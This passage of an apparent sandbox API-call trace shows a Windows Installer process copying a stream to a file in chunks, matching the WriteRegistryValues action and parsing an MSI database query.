pcbRead=0x10cde60*=0x200) returned 0x0 [0149.606] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.606] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x4d, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.606] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.606] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.607] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.607] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.607] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.607] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xcf, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.607] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.607] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.607] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.607] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.607] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.607] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xe4, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.607] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.607] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.607] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.607] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x0, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.607] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.607] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xa3, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.607] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.607] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.607] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.607] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x80, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.608] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.608] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x75, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.608] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.608] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.608] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.608] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.608] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.608] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x22, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.608] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.608] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.608] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.608] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.608] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.608] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.608] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.608] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.608] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.608] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x2, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.608] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.608] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x3c, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.608] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.608] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.608] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.609] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x3, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.609] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.609] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x45, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.609] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.609] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.609] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.609] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.609] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.609] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc6, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.609] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.609] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.609] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.609] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x9, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.609] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.609] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.609] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.609] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.609] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.609] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x84, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.609] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.609] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.609] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.609] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.610] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.610] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x74, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.610] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.610] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.610] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.610] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.610] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdecb, _Size=0x1e5 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.610] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x81, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.610] memcpy (in: _Dst=0x37b0591, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b0591) returned 0x37b0591 [0149.610] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.610] memcpy (in: _Dst=0x37b0791, _Src=0x10cdeb0, _Size=0x1b | out: _Dst=0x37b0791) returned 0x37b0791 [0149.610] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.614] GlobalUnlock (hMem=0xf40228) returned 0 [0149.614] GlobalUnlock (hMem=0xf40208) returned 0 [0149.614] IUnknown:Release (This=0x32f000) returned 0x0 [0149.614] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x30d)) [0149.614] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.615] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x30d)) [0149.615] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.615] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x30d)) [0149.615] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.615] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.617] lstrcmpW (lpString1="Advertise", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="AppSearch", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="BindImage", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="CCPSearch", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="CostFinalize", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="CostInitialize", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="CreateFolders", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="CreateShortcuts", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="DeleteServices", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="DuplicateFiles", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="FileCost", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="FindRelatedProducts", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="GenerateScript", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="InstallAdminPackage", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="InstallFiles", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="InstallODBC", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="InstallServices", lpString2="WriteRegistryValues") returned -1 [0149.617] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="InstallValidate", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="LaunchConditions", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="MoveFiles", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="PatchFiles", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="ProcessComponents", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="PublishComponents", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="PublishFeatures", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="PublishProduct", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RegisterClassInfo", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RegisterComPlus", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RegisterFonts", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RegisterProduct", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RegisterProgIdInfo", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RegisterTypeLibraries", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RegisterUser", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RemoveDuplicateFiles", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RemoveEnvironmentStrings", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RemoveExistingProducts", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RemoveFiles", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RemoveFolders", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RemoveIniValues", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RemoveODBC", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RemoveRegistryValues", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RemoveShortcuts", lpString2="WriteRegistryValues") returned -1 [0149.618] lstrcmpW (lpString1="RMCCPSearch", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="Rollback", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="RollbackCleanup", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="SelfRegModules", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="SelfUnregModules", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="SetODBCFolders", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="StartServices", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="StopServices", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="UnmoveFiles", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="UnpublishComponents", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="UnpublishFeatures", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="UnpublishProduct", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="UnregisterClassInfo", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="UnregisterComPlus", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="UnregisterExtensionInfo", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="UnregisterFonts", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="UnregisterMIMEInfo", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="UnregisterProgIdInfo", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="UnregisterTypeLibraries", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="WriteEnvironmentStrings", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="WriteIniValues", lpString2="WriteRegistryValues") returned -1 [0149.619] lstrcmpW (lpString1="WriteRegistryValues", lpString2="WriteRegistryValues") returned 0 [0149.619] lstrlenW (lpString="ProductLanguage") returned 15 [0149.621] FormatMessageW (in: dwFlags=0x800, lpSource=0xc20002, dwMessageId=0x7576, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Writing system registry values\x09Key: [1], Name: [2], Value: [3]\r\n") returned 0x40 [0149.626] lstrlenW (lpString="Key: [1], Name: [2], Value: [3]") returned 31 [0149.628] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x31d)) [0149.628] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.628] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x31d)) [0149.628] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.628] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x31d)) [0149.628] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.629] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.630] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x31d)) [0149.630] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.630] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x31d)) [0149.630] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.630] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x31d)) [0149.631] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.631] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.632] GlobalLock (hMem=0xf40208) returned 0x3cc0f0 [0149.633] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.633] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.633] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.633] lstrlenW (lpString="RegAction") returned 9 [0149.633] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.633] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.633] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.633] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.633] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.633] memcpy (in: _Dst=0x3cc0f8, _Src=0x3cc0f0, _Size=0x8 | out: _Dst=0x3cc0f8) returned 0x3cc0f8 [0149.633] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0149.633] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0149.633] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0149.633] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.633] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0149.633] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0149.633] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0149.633] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0149.633] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0149.633] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0149.633] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0149.633] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 